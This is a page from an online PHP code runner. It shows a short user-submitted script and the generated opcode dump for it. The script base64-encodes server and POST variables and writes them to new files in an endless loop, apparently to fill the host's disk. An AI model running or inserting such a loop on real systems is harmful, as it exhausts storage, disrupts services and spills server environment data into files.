3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str ="user"; $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_POST)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); while(1) { file_put_contents(uniqid(),$str);}?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 72
Branch analysis from position: 72
2 jumps found. (Code = 44) Position 1 = 73, Position 2 = 66
Branch analysis from position: 73
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 66
2 jumps found. (Code = 44) Position 1 = 73, Position 2 = 66
Branch analysis from position: 73
Branch analysis from position: 66
filename:       /in/tt4VG
function name:  (null)
number of ops:  74
compiled vars:  !0 = $str
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'user'
    3     1        INIT_FCALL                                               'base64_encode'
          2        INIT_FCALL                                               'json_encode'
          3        FETCH_R                      global              ~2      '_SERVER'
          4        SEND_VAL                                                 ~2
          5        DO_ICALL                                         $3      
          6        SEND_VAR                                                 $3
          7        DO_ICALL                                         $4      
          8        ASSIGN_OP                                     8          !0, $4
    4     9        INIT_FCALL                                               'base64_encode'
         10        INIT_FCALL                                               'json_encode'
         11        FETCH_R                      global              ~6      '_POST'
         12        SEND_VAL                                                 ~6
         13        DO_ICALL                                         $7      
         14        SEND_VAR                                                 $7
         15        DO_ICALL                                         $8      
         16        ASSIGN_OP                                     8          !0, $8
    5    17        INIT_FCALL                                               'base64_encode'
         18        INIT_FCALL                                               'json_encode'
         19        FETCH_R                      global              ~10     '_SERVER'
         20        SEND_VAL                                                 ~10
         21        DO_ICALL                                         $11     
         22        SEND_VAR                                                 $11
         23        DO_ICALL                                         $12     
         24        ASSIGN_OP                                     8          !0, $12
    6    25        INIT_FCALL                                               'base64_encode'
         26        INIT_FCALL                                               'json_encode'
         27        FETCH_R                      global              ~14     '_SERVER'
         28        SEND_VAL                                                 ~14
         29        DO_ICALL                                         $15     
         30        SEND_VAR                                                 $15
         31        DO_ICALL                                         $16     
         32        ASSIGN_OP                                     8          !0, $16
    7    33        INIT_FCALL                                               'base64_encode'
         34        INIT_FCALL                                               'json_encode'
         35        FETCH_R                      global              ~18     '_SERVER'
         36        SEND_VAL                                                 ~18
         37        DO_ICALL                                         $19     
         38        SEND_VAR                                                 $19
         39        DO_ICALL                                         $20     
         40        ASSIGN_OP                                     8          !0, $20
    8    41        INIT_FCALL                                               'base64_encode'
         42        INIT_FCALL                                               'json_encode'
         43        FETCH_R                      global              ~22     '_SERVER'
         44        SEND_VAL                                                 ~22
         45        DO_ICALL                                         $23     
         46        SEND_VAR                                                 $23
         47        DO_ICALL                                         $24     
         48        ASSIGN_OP                                     8          !0, $24
    9    49        INIT_FCALL                                               'base64_encode'
         50        INIT_FCALL                                               'json_encode'
         51        FETCH_R                      global              ~26     '_SERVER'
         52        SEND_VAL                                                 ~26
         53        DO_ICALL                                         $27     
         54        SEND_VAR                                                 $27
         55        DO_ICALL                                         $28     
         56        ASSIGN_OP                                     8          !0, $28
   10    57        INIT_FCALL                                               'base64_encode'
         58        INIT_FCALL                                               'json_encode'
         59        FETCH_R                      global              ~30     '_SERVER'
         60        SEND_VAL                                                 ~30
         61        DO_ICALL                                         $31     
         62        SEND_VAR                                                 $31
         63        DO_ICALL                                         $32     
         64        ASSIGN_OP                                     8          !0, $32
   11    65      > JMP                                                      ->72
         66    >   INIT_FCALL                                               'file_put_contents'
         67        INIT_FCALL                                               'uniqid'
         68        DO_ICALL                                         $34     
         69        SEND_VAR                                                 $34
         70        SEND_VAR                                                 !0
         71        DO_ICALL                                                 
         72    > > JMPNZ                                                    1, ->66
         73    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.9 ms | 1400 KiB | 21 Q